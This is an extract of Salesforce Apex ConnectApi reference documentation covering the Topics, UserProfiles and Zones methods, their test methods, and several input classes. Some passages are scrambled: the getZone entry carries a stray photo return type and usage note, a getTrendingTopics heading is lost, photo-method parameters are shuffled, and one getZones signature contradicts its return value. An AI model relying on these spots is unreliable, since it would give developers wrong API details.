To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetTopicSuggestions(communityId, recordId, maxResults, result)
Testing ConnectApi Code

getTopicSuggestions(communityId, recordId)
Returns suggested topics for the specified record or feed item. Administrators must enable topics for objects before users can see suggested topics for records of that object type.

API Version
29.0

Requires Chatter
No

Signature
public static ConnectApi.TopicSuggestionPage getTopicSuggestions(String communityId, String recordId)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.

recordId
Type: String
The ID for a record or feed item.

Return Value
Type: ConnectApi.TopicSuggestionPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
- `setTestGetTopicSuggestions(communityId, recordId, result)`

`getTopicSuggestionsForText(communityId, text, maxResults)`
Returns suggested topics for the specified string of text.

API Version
29.0

Requires Chatter
No

Signature
```java
public static ConnectApi.TopicSuggestionPage getTopicSuggestionsForText(String communityId, String text, Integer maxResults)
```

Parameters
- `communityId`
  Type: `String`
  Use either the ID for a community, `internal`, or `null`.
- `text`
  Type: `String`
  String of text.
- `maxResults`
  Type: `Integer`
  Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to 25.

Return Value
Type: `ConnectApi.TopicSuggestionPage`
Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
- `setTestGetTopicSuggestionsForText(communityId, text, maxResults, result)`
  Testing ConnectApi Code

`getTopicSuggestionsForText(communityId, text)`
Returns suggested topics for the specified string of text.

API Version
29.0

Requires Chatter
No

Signature
```
public static ConnectApi.TopicSuggestionPage getTopicSuggestionsForText(String communityId, String text)
```

Parameters
- `communityId` 
  Type: `String`
  Use either the ID for a community, internal, or `null`.
- `text` 
  Type: `String`
  String of text.

Return Value
Type: `ConnectApi.TopicSuggestionPage`

Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

No

Signature

public static ConnectApi.TopicPage getTrendingTopics(String communityId, Integer maxResults)

Parameters

communityId
  Type: String
  Use either the ID for a community, internal, or null.

maxResults
  Type: Integer
  Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to 25.

Return Value

Type: ConnectApi.TopicPage

Usage

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
  setTestGetTrendingTopics(communityId, maxResults, result)
  Testing ConnectApi Code

mergeTopics(communityId, topicId, idsToMerge)
Merges up to five topics with the specified topic.

API Version

33.0

Requires Chatter

No

Signature

public static ConnectApi.Topic mergeTopics(String communityId, String topicId, List<String> idsToMerge)
Parameters

**communityId**
Type: String
Use either the ID for a community, `internal`, or `null`.

**topicId**
Type: String
The ID for a topic.

**idsToMerge**
Type: List<String>
A list of up to five comma-separated topic IDs to merge with the topic.

Return Value
Type: ConnectApi.Topic

Usage
Only users with the “Delete Topics” or “Modify All Data” permission can merge topics.

### reassignTopicsByName(communityId, recordId, topicNames)
Reassigns all the topics on a record or feed item, that is, removes all the assigned topics on a record or feed item and adds topics. Only users with the “Assign Topics” permission can remove topics from records or feed items and add existing topics to records or feed items. Only users with the “Create Topics” permission can add new topics to records or feed items. Administrators must enable topics for objects before users can add topics to records of that object type.

API Version
35.0

Requires Chatter
No

Signature
```
public static ConnectApi.TopicPage reassignTopicsByName(String communityId, String recordId, ConnectApi.TopicNamesInput topicNames)
```

Parameters

**communityId**
Type: String
Use either the ID for a community, `internal`, or `null`.

**recordId**
Type: String
The ID of the record or feed item to which to assign the topic.
topicNames
   Type: ConnectApi.TopicNamesInput
   A list of topics to replace the currently assigned topics.

Return Value
Type: ConnectApi.TopicPage

unassignTopic(communityId, recordId, topicId)
Removes the specified topic from the specified record or feed item. Only users with the “Assign Topics” permission can remove topics from feed items or records. Administrators must enable topics for objects before users can add topics to records of that object type.

API Version
29.0

Requires Chatter
No

Signature
public static Void unassignTopic(String communityId, String recordId, String topicId)

Parameters
communityId
   Type: String
   Use either the ID for a community, internal, or null.
recordId
   Type: String
   The ID for a record or feed item.
topicId
   Type: String
   The ID for a topic.

Return Value
Type: Void

updateTopic(communityId, topicId, topic)
Updates the description or name of the specified topic or merges up to five topics with the specified topic.

API Version
29.0
Requires Chatter
No

Signature

```java
public static ConnectApi.Topic updateTopic(String communityId, String topicId,
ConnectApi.TopicInput topic)
```

Parameters

`communityId`
Type: String
Use either the ID for a community, internal, or null.

`topicId`
Type: String
The ID for a topic.

`topic`
Type: `ConnectApi.TopicInput`
A `ConnectApi.TopicInput` object containing the name and description of the topic or up to five comma-separated topic IDs to merge with the topic.

Return Value
Type: `ConnectApi.Topic`

Usage

Only users with the “Edit Topics” or “Modify All Data” permission can update topic names and descriptions. Only users with the “Delete Topics” or “Modify All Data” permission can merge topics.

Topics Test Methods

The following are the test methods for `Topics`. All methods are static.

For information about using these methods to test your `ConnectApi` code, see Testing ConnectApi Code.

```java
setTestGetGroupsRecentlyTalkingAboutTopic(communityId, topicId, result)
```

Registers a `ConnectApi.ChatterGroupSummaryPage` object to be returned when `ConnectApi.getGroupsRecentlyTalkingAboutTopic` is called in a test context.

API Version
29.0

Signature

```java
public static Void setTestGetGroupsRecentlyTalkingAboutTopic(String communityId, String topicId,
ConnectApi.ChatterGroupSummaryPage result)
```
Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

topicId
Type: String
The ID for a topic.

result
Type: ConnectApi.ChatterGroupSummaryPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:
getGroupsRecentlyTalkingAboutTopic(communityId, topicId)
Testing ConnectApi Code

setTestGetRecentlyTalkingAboutTopicsForGroup(communityId, groupId, result)
Registers a ConnectApi.TopicPage object to be returned when the
ConnectApi.getRecentlyTalkingAboutTopicsForGroup method is called in a test context.

API Version
29.0

Signature
public static Void setTestGetRecentlyTalkingAboutTopicsForGroup(String communityId,
String groupId, ConnectApi.TopicPage result)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

groupId
Type: String
The ID for a group.

result
Type: ConnectApi.TopicPage
The object containing test data.
**Return Value**
Type: Void

SEE ALSO:
- getRecentlyTalkingAboutTopicsForGroup(communityId, groupId)
- Testing ConnectApi Code

**setTestGetRecentlyTalkingAboutTopicsForUser(communityId, userId, result)**
Creates a topics page to use for testing. After you create the page, use the matching
ConnectApi.getRecentlyTalkingAboutTopicsForUser method to access the test page and run your tests. Use the
method with the same parameters or you receive an exception.

**API Version**
29.0

**Signature**
```java
public static Void setTestGetRecentlyTalkingAboutTopicsForUser(String communityId,
String userId, ConnectApi.TopicPage result)
```

**Parameters**
- `communityId`
  Type: *String*
  Use either the ID for a community, *internal* or *null*.
- `userId`
  Type: *String*
  The ID for a user.
- `result`
  Type: *ConnectApi.TopicPage*
  Specify the test topics page.

**Return Value**
Type: Void

SEE ALSO:
- getRecentlyTalkingAboutTopicsForUser(communityId, userId)
- Testing ConnectApi Code

**setTestGetRelatedTopics(communityId, topicId, result)**
Registers a ConnectApi.TopicPage object to be returned when the ConnectApi.getRelatedTopics method is called
in a test context.
**API Version**

29.0

**Signature**

`public static Void setTestGetRelatedTopics(String communityId, String topicId, ConnectApi.TopicPage result)`

**Parameters**

- `communityId`
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

- `topicId`
  - Type: `String`
  - The ID for a topic.

- `result`
  - Type: `ConnectApi.TopicPage`
  - The object containing test data.

**Return Value**

Type: `Void`

**SEE ALSO:**

- `getRelatedTopics(communityId, topicId)`
- `Testing ConnectApi Code`

**setTestGetTopicSuggestions(communityId, recordId, maxResults, result)**

Registers a `ConnectApi.TopicSuggestionPage` object to be returned when the matching `ConnectApi.getTopicSuggestions` method is called in a test context. Use the method with the same parameters or you receive an exception. Use the method with the same parameters or you receive an exception.

**API Version**

29.0

**Signature**

`public static Void setTestGetTopicSuggestions(String communityId, String recordId, Integer maxResults, ConnectApi.TopicSuggestionPage result)`

**Parameters**

- `communityId`
  - Type: `String`
Use either the ID for a community, internal, or null.

**recordId**
Type: String
The ID for a record or feed item.

**maxResults**
Type: Integer
Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to 25.

**result**
Type: `ConnectApi.TopicSuggestionPage`
Specify the test topic suggestions page.

**Return Value**
Type: Void

SEE ALSO:
- `getTopicSuggestions(communityId, recordId, maxResults)`
- Testing ConnectApi Code

**setTestGetTopicSuggestions(communityId, recordId, result)**
Registers a `ConnectApi.TopicSuggestionPage` object to be returned when the matching `ConnectApi.getTopicSuggestions` method is called in a test context. Use the method with the same parameters or you receive an exception.

**API Version**
29.0

**Signature**

```java
public static Void setTestGetTopicSuggestions(String communityId, String recordId, ConnectApi.TopicSuggestionPage result)
```

**Parameters**

- **communityId**
  Type: String
  Use either the ID for a community, internal, or null.

- **recordId**
  Type: String
  The ID for a record or feed item.

- **result**
  Type: `ConnectApi.TopicSuggestionPage`
The object containing test data.

Return Value
Type: Void

SEE ALSO:
getTopicSuggestions(communityId, recordId)
Testing ConnectApi Code

setTestGetTopicSuggestionsForText(communityId, text, maxResults, result)

Registers a ConnectApi.TopicSuggestionPage object to be returned when the matching
ConnectApi.getTopicSuggestionsForText method is called in a test context. Use the method with the same parameters
or you receive an exception.

API Version
29.0

Signature
public static Void setTestGetTopicSuggestionsForText(String communityId, String text,
Integer maxResults, ConnectApi.TopicSuggestionPage result)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.

text
Type: String
String of text.

maxResults
Type: Integer
Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to
25.

result
Type: ConnectApi.TopicSuggestionPage
The object containing test data.
Return Value
Type: Void

SEE ALSO:
getTopicSuggestionsForText(communityId, text, maxResults)
Testing ConnectApi Code

**setTestGetTopicSuggestionsForText(communityId, text, result)**
Registers a ConnectApi.TopicSuggestionPage object to be returned when the matching ConnectApi.getTopicSuggestionsForText method is called in a test context. Use the method with the same parameters or you receive an exception.

**API Version**
29.0

**Signature**
```java
public static Void setTestGetTopicSuggestionsForText(String communityId, String text, ConnectApi.TopicSuggestionPage result)
```

**Parameters**
- **communityId**
  Type: String
  Use either the ID for a community, internal, or null.
- **text**
  Type: String
  String of text.
- **result**
  Type: ConnectApi.TopicSuggestionPage
  The object containing test data.

**Return Value**
Type: Void

SEE ALSO:
getTopicSuggestionsForText(communityId, text)
Testing ConnectApi Code

**setTestGetTrendingTopics(communityId, result)**
Registers a ConnectApi.TopicPage object to be returned when the matching ConnectApi.getTrendingTopics method is called in a test context. Use the method with the same parameters or you receive an exception.
API Version
29.0

Signature

public static Void setTestGetTrendingTopics(String communityId, ConnectApi.TopicPage result)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

result
Type: ConnectApi.TopicPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:
getTrendingTopics(communityId)
Testing ConnectApi Code

setTestGetTrendingTopics(communityId, maxResults, result)

Registers a ConnectApi.TopicPage object to be returned when the matching ConnectApi.getTrendingTopics method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
29.0

Signature

public static Void setTestGetTrendingTopics(String communityId, Integer maxResults, ConnectApi.TopicPage result)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

maxResults
Type: Integer
Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to 25.

result
Type: ConnectApi.TopicPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:
getTrendingTopics(communityId, maxResults)
Testing ConnectApi Code

UserProfiles Class

Access user profile data. The user profile data populates the profile page (also called the Chatter profile page). This data includes user information (such as address, manager, and phone number), some user capabilities (permissions), and a set of subtab apps, which are custom tabs on the profile page.

Namespace
ConnectApi

UserProfiles Methods

The following are methods for UserProfiles. All methods are static.

IN THIS SECTION:

deletePhoto(communityId, userId)
Deletes the specified user’s photo.

getPhoto(communityId, userId)
Returns information about the specified user’s photo.

getUserProfile(communityId, userId)
Returns the user profile of the context user.

setPhoto(communityId, userId, fileId, versionNumber)
Sets the user photo to be the specified, already uploaded file.

setPhoto(communityId, userId, fileUpload)
Sets the provided blob to be the photo for the specified user. The content type must be usable as an image.

setPhotoWithAttributes(communityId, userId, photo)
Sets and crops the existing file as the photo for the specified user. The content type must be usable as an image.

setPhotoWithAttributes(communityId, userId, photo, fileUpload)
Sets and crops the provided blob as the photo for the specified user. The content type must be usable as an image.
**deletePhoto(communityId, userId)**

Deletes the specified user’s photo.

**API Version**

35.0

**Requires Chatter**

No

**Signature**

```java
public static Void deletePhoto(String communityId, String userId)
```

**Parameters**

- **communityId**
  - Type: `String`
  - Use either the ID for a community, internal, or `null`.

- **userId**
  - Type: `String`
  - The ID for the context user or the keyword `me`.

**Return Value**

Type: Void

---

**getPhoto(communityId, userId)**

Returns information about the specified user’s photo.

**API Version**

35.0

**Available to Guest Users**

35.0

**Requires Chatter**

No

**Signature**

```java
public static ConnectApi.Photo getPhoto(String communityId, String userId)
```
Parameters

`communityId`
Type: String
Use either the ID for a community, `internal`, or `null`.

`userId`
Type: String
The ID for a user.

Return Value
Type: `ConnectApi.Photo`

SEE ALSO:
- Methods Available to Communities Guest Users

`getUserProfile(communityId, userId)`
Returns the user profile of the context user.

API Version
29.0

Requires Chatter
Yes

Signature
`public static ConnectApi.UserProfile getUserProfile(String communityId, String userId)`

Parameters

`communityId`
Type: String
Use either the ID for a community, `internal`, or `null`.

`userId`
Type: String
The ID for a user.

Return Value
Type: `ConnectApi.UserProfile`

`setPhoto(communityId, userId, fileId, versionNumber)`
Sets the user photo to be the specified, already uploaded file.
API Version

35.0

Requires Chatter

No

Signature

```java
public static ConnectApi.Photo setPhoto(String communityId, String userId, String fileId, Integer versionNumber)
```

Parameters

- **communityId**
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

- **userId**
  - Type: `String`
  - The ID for the context user or the keyword `me`.

- **fileId**
  - Type: `String`
  - ID of a file already uploaded. The file must be an image, and be smaller than 2 GB.

- **versionNumber**
  - Type: `Integer`
  - Version number of the existing file. Specify either an existing version number, or `null` to get the latest version.

Return Value

- Type: `ConnectApi.Photo`

Usage

Photos are processed asynchronously and may not be visible right away.

```java
setPhoto(communityId, userId, fileId, versionNumber)
```

Sets the provided blob to be the photo for the specified user. The content type must be usable as an image.

API Version

35.0

Requires Chatter

No
Signature

```java
public static ConnectApi.Photo setPhoto(String communityId, String userId,
ConnectApi.BinaryInput fileUpload)
```

Parameters

- **communityId**
  Type: `String`
  Use either the ID for a community, `internal`, or `null`.

- **userId**
  Type: `String`
  The ID for the context user or the keyword `me`.

- **fileUpload**
  Type: `ConnectApi.BinaryInput`
  A file to use as the photo. The content type must be usable as an image.

Return Value

Type: `ConnectApi.Photo`

Usage

Photos are processed asynchronously and may not be visible right away.

`setPhotoWithAttributes(communityId, userId, photo)`

Sets and crops the existing file as the photo for the specified user. The content type must be usable as an image.

API Version

35.0

Requires Chatter

No

Signature

```java
public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String userId,
ConnectApi.PhotoInput photo)
```

Parameters

- **communityId**
  Type: `String`
  Use either the ID for a community, `internal`, or `null`.

- **userId**
  Type: `String`

- **photo**
  Type: `ConnectApi.PhotoInput`

The ID for the context user or the keyword `me`.

**photo**
Type: `ConnectApi.PhotoInput`
A `ConnectApi.PhotoInput` object specifying the file ID, version number, and cropping parameters.

**Return Value**
Type: `ConnectApi.Photo`

**Usage**
Photos are processed asynchronously and may not be visible right away.

**setPhotoWithAttributes(communityId, userId, photo, fileUpload)**
Sets and crops the provided blob as the photo for the specified user. The content type must be usable as an image.

**API Version**
35.0

**Requires Chatter**
No

**Signature**

```java
public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String userId, ConnectApi.PhotoInput photo, ConnectApi.BinaryInput fileUpload)
```

**Parameters**

`communityId`
Type: `String`
Use either the ID for a community, `internal`, or `null`.

`userId`
Type: `String`
The ID for the context user or the keyword `me`.

`photo`
Type: `ConnectApi.PhotoInput`
A `ConnectApi.PhotoInput` object specifying the cropping parameters.

`fileUpload`
Type: `ConnectApi.BinaryInput`
A file to use as the photo. The content type must be usable as an image.
Zones Class

Access information about Chatter Answers zones in your organization. Zones organize questions into logical groups, with each zone having its own focus and unique questions.

Namespace

ConnectApi

Zones Methods

The following are methods for Zones. All methods are static.

IN THIS SECTION:

- **getZone(communityId, zoneId)**
  Returns a specific zone based on the zone ID.

- **getZones(communityId)**
  Returns a paginated list of zones.

- **getZones(communityId, pageParam, pageSize)**
  Returns a paginated list of zones with the specified page and page size.

- **searchInZone(communityId, zoneId, q, filter)**
  Search a zone by keyword. Specify whether to search articles or questions.

- **searchInZone(communityId, zoneId, q, filter, pageParam, pageSize)**
  Search a zone by keyword. Specify whether to search articles or questions and specify the page of information to view and the page size.

**getZone(communityId, zoneId)**

Returns a specific zone based on the zone ID.

API Version

29.0

Requires Chatter

No

Return Value

Type: `ConnectApi.Photo`

Usage

Photos are processed asynchronously and may not be visible right away.
Signature

```java
public static ConnectApi.Zone getZone(String communityId, String zoneId)
```

Parameters

- `communityId`  
  Type: `String`  
  Use either the ID for a community, `internal`, or `null`.

- `zoneId`  
  Type: `String`  
  The ID of a zone.

Return Value

Type: `ConnectApi.Zone`

### getZones(communityId)

Returns a paginated list of zones.

API Version

29.0

Requires Chatter

No

Signature

```java
public static ConnectApi.ZonePage getZones(String communityId)
```

Parameters

- `communityId`  
  Type: `String`  
  Use either the ID for a community, `internal`, or `null`.

Return Value

Type: `ConnectApi.ZonePage`

### getZones(communityId, pageParam, pageSize)

Returns a paginated list of zones with the specified page and page size.

API Version

29.0
Requires Chatter
No

Signature
public static ConnectApi.Zone getZones(String communityId, Integer pageParam, Integer pageSize)

Parameters
communityId
  Type: String
  Use either the ID for a community, internal, or null.
pageParam
  Type: Integer
  Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
  Type: Integer
  Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ZonePage

searchInZone(communityId, zoneId, q, filter)
Search a zone by keyword. Specify whether to search articles or questions.

API Version
29.0

Requires Chatter
No

Signature
public static ConnectApi.ZoneSearchPage searchInZone(String communityId, String zoneId, String q, ConnectApi.ZoneSearchResultType filter)

Parameters
communityId
  Type: String
  Use either the ID for a community, internal, or null.
zoneId
  Type: String
The ID of a zone.

q
   Type: String
   q—Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

filter
   Type: ConnectApi.ZoneSearchResultType
   A ZoneSearchResultType enum value. One of the following:
   • Article—Search results contain only articles.
   • Question—Search results contain only questions.

Return Value
Type: ConnectApi.ZoneSearchPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestSearchInZone(communityId, zoneId, q, filter, result)
Testing ConnectApi Code

searchInZone(communityId, zoneId, q, filter, pageParam, pageSize)
Search a zone by keyword. Specify whether to search articles or questions and specify the page of information to view and the page size.

API Version
29.0

Requires Chatter
No

Signature
public static ConnectApi.ZoneSearchPage searchInZone(String communityId, String zoneId, String q, ConnectApi.ZoneSearchResultType filter, String pageParam, Integer pageSize)

Parameters
communityId
   Type: String
   Use either the ID for a community, internal, or null.
zoneId
Type: String
zoneId—The ID of a zone.

q
Type: String
q—Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

filter
Type: ConnectApi.ZoneSearchResultType
A ZoneSearchResultType enum value. One of the following:
• Article—Search results contain only articles.
• Question—Search results contain only questions.

pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ZoneSearchPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestSearchInZone(communityId, zoneId, q, filter, pageParam, pageSize, result)

Zones Test Methods
The following are the test methods for Zones. All methods are static.
For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.

setTestSearchInZone(communityId, zoneId, q, filter, result)
Registers a ConnectApi.ZoneSearchPage object to be returned when searchInZone(communityId, zoneId, q, filter) is called in a test context.
public static Void setTestSearchInZone(String communityId, String zoneId, String q, ConnectApi.ZoneSearchResultType filter, ConnectApi.ZoneSearchPage result)

**Parameters**

*communityId*

Type: String

Use either the ID for a community, internal, or null.

*zoneId*

Type: String

zoneId—The ID of a zone.

*q*

Type: String

q—Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

*filter*

Type: ConnectApi.ZoneSearchResultType

A ZoneSearchResultType enum value. One of the following:

- Article—Search results contain only articles.
- Question—Search results contain only questions.

*result*

Type: ConnectApi.ZoneSearchPage

The object containing test data.

**Return Value**

Type: Void

SEE ALSO:

- searchInZone(communityId, zoneId, q, filter)
- Testing ConnectApi Code

**setTestSearchInZone(communityId, zoneId, q, filter, pageParam, pageSize, result)**

Registers a ConnectApi.ZoneSearchPage object to be returned when searchInZone(communityId, zoneId, q, filter, pageParam, pageSize) is called in a test context.
public static Void setTestSearchInZone(String communityId, String zoneId, String q, ConnectApi.ZoneSearchResultType filter, String pageParam, Integer pageSize, ConnectApi.ZoneSearchPage result)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

zoneId
Type: String
zoneId—The ID of a zone.

q
Type: String
q—Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

filter
Type: ConnectApi.ZoneSearchResultType
A ZoneSearchResultType enum value. One of the following:

• Article—Search results contain only articles.
• Question—Search results contain only questions.

pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

result
Type: ConnectApi.ZoneSearchPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:
searchInZone(communityId, zoneld, q, filter, pageParam, pageSize)
Testing ConnectApi Code

ConnectApi Input Classes
Some ConnectApi methods take arguments that are instances of ConnectApi input classes.
Input classes are concrete unless marked abstract in this documentation. Concrete input classes have public constructors that have no parameters.

Some methods have parameters that are typed with an abstract class. You must pass in an instance of a concrete child class for these parameters.

Most input class properties can be set. Read-only properties are noted in this documentation.

**ConnectApi.ActionLinkDefinitionInput Class**

The definition of an action link. An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the feed so that users can take action to drive productivity and accelerate innovation.

**Usage**

You can use context variables in the `actionUrl`, `headers`, and `requestBody` properties. Use context variables to pass information about the user who executed the action link to your server-side code. Salesforce substitutes the value when the action link is executed.

These are the available context variables:

<table>
<thead>
<tr>
<th>Context Variable</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>{!actionLinkId}</td>
<td>The ID of the action link the user executed.</td>
</tr>
<tr>
<td>{!actionLinkGroupId}</td>
<td>The ID of the action link group containing the action link the user executed.</td>
</tr>
<tr>
<td>{!communityId}</td>
<td>The ID of the community in which the user executed the action link.</td>
</tr>
<tr>
<td>{!communityUrl}</td>
<td>The URL of the community in which the user executed the action link.</td>
</tr>
<tr>
<td>{!orgId}</td>
<td>The ID of the organization in which the user executed the action link.</td>
</tr>
<tr>
<td>{!userId}</td>
<td>The ID of the user that executed the action link.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actionType</td>
<td><code>ConnectApi.ActionLinkType</code></td>
<td>Defines the type of action link. Values are:</td>
<td>Required</td>
<td>33.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- Api—The action link calls a synchronous API at the action URL.</td>
<td>Can be defined in an</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Salesforce sets the status to SuccessfulStatus or FailedStatus based on the</td>
<td>action link template.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>HTTP status code returned by your server.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
### Description
- **ApiAsync**—The action link calls an asynchronous API at the action URL. The action remains in a **PendingStatus** state until a third party makes a request to `/connect/action-links/actionLinkId` to set the status to **SuccessfulStatus** or **FailedStatus** when the asynchronous operation is complete.
- **Download**—The action link downloads a file from the action URL.
- **Ui**—The action link takes the user to a Web page at the action URL. Use **Ui** if you need to load a page before the user performs an action, for example, to have the user provide input or view something before the action happens.

**Note:** Invoking **ApiAsync** action links from an app requires a call to set the status. However, there isn’t currently a way to set the status of an action link using Apex. To set the status, use Chatter REST API. See the Action Link resource in the [Chatter REST API Developer’s Guide](https://www.example.com/) for more information.

### Table: Action Link Properties

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actionUrl</td>
<td>String</td>
<td>The action link URL. For example, a <strong>Ui</strong> action link URL is a Web page. A <strong>Download</strong> action link URL is a link to the file to download. <strong>Ui</strong> and <strong>Download</strong> action link URLs are provided to clients. An <strong>Api</strong> or <strong>ApiAsync</strong> action link URL is a REST resource. <strong>Api</strong> and <strong>ApiAsync</strong> action link URLs aren’t provided to clients. Links to Salesforce can be relative. All other links must be absolute and start with https://. <strong>Tip:</strong> To avoid issues due to upgrades or changing functionality in your API, we recommend using a versioned API for <strong>actionUrl</strong>, for example, <code>https://www.example.com/</code></td>
<td>Can be defined in an action link template.</td>
<td>33.0</td>
</tr>
<tr>
<td>Property</td>
<td>Type</td>
<td>Description</td>
<td>Required or Optional</td>
<td>Available Version</td>

</tbody>
</table>

SEE ALSO:
ConnectApi.ActionLinkGroupDefinitionInput Class

**ConnectApi.ActionLinkGroupDefinitionInput Class**

The definition of an action link group. All action links must belong to a group. Action links in a group are mutually exclusive and share some properties. Define stand-alone actions in their own action group.
Action link definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason, only calls made from the Apex namespace that created the action link definition can read, modify, or delete the definition. In addition, the user making the call must have created the definition or have “View All Data” permission.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actionLinks</td>
<td>List&lt;ConnectApi.ActionLinkDefinitionInput&gt;</td>
<td>The action links that make up this group. Within an action link group, action links are displayed in the order listed in the actionLinks property of the ConnectApi.ActionLinkGroupDefinitionInput class. Within a feed item, action link groups are displayed in the order specified in the actionLinkGroupIds property of the ConnectApi.AssociatedActionsCapabilityInput class. You can create up to three action links in a Primary group and up to four in an Overflow group.</td>
<td>Required to instantiate this action link group without a template. To instantiate from a template, don’t specify a value.</td>
<td>33.0</td>
</tr>
<tr>
<td>category</td>
<td>ConnectApi.PlatformActionGroupCategory</td>
<td>Indicates the priority and relative locations of action links in an associated feed item. Values are: • Primary—The action link group is displayed in the body of the feed element. • Overflow—The action link group is displayed in the overflow menu of the feed element.</td>
<td>Required to instantiate this action link group without a template. To instantiate from a template, don’t specify a value.</td>
<td>33.0</td>
</tr>
<tr>
<td>executionsAllowed</td>
<td>ConnectApi.ActionLinkExecutionsAllowed</td>
<td>Defines the number of times an action link can be executed. Values are: • Once—An action link can be executed only once across all users. • OncePerUser—An action link can be executed only once for each user. • Unlimited—An action link can be executed an unlimited number of times by each user. If the action link’s actionType is Api or ApiAsync, you can’t use this value.</td>
<td>Required to instantiate this action link group without a template. To instantiate from a template, don’t specify a value.</td>
<td>33.0</td>

**ConnectApi.ActionLinkTemplateBindingInput**

A key-value pair to fill in a binding variable value from an action link template.
### ConnectApi.ActionLinkGroupDefinitionInput Class

The name of the binding variable key specified in the action link template in Setup. For example, if the binding variable in the template is `{!Binding.firstName}`, the key is `firstName`.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>key</td>
<td>String</td>
<td>The name of the binding variable key specified in the action link template in Setup. For example, if the binding variable in the template is <code>{!Binding.firstName}</code>, the key is <code>firstName</code></td>
<td>Required</td>
<td>33.0</td>
</tr>
<tr>
<td>value</td>
<td>String</td>
<td>The value of the binding variable key. For example, if the key is <code>firstName</code>, this value could be <code>Joan</code>.</td>
<td>Required</td>
<td>33.0</td>
</tr>
</tbody>
</table>

SEE ALSO: [ConnectApi.ActionLinkGroupDefinitionInput Class](#)

### ConnectApi.AnnouncementInput Class

An announcement displays in a designated location in the Salesforce UI until 11:59 p.m. on its expiration date, unless it's deleted or replaced by another announcement.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>body</td>
<td><a href="#">ConnectApi.MessageBody Input Class</a></td>
<td>Text of the announcement.</td>
<td>31.0</td>
</tr>
<tr>
<td>expirationDate</td>
<td>Datetime</td>
<td>The Salesforce UI displays an announcement until 11:59 p.m. on this date unless another announcement is posted first. The Salesforce UI ignores the time value in the expirationDate. However, you can use the time value to create your own display logic in your own UI.</td>
<td>31.0</td>
</tr>
</tbody>
</table>

SEE ALSO: [postAnnouncement(communityId, groupId, announcement)](#)

### ConnectApi.AssociatedActionsCapabilityInput Class

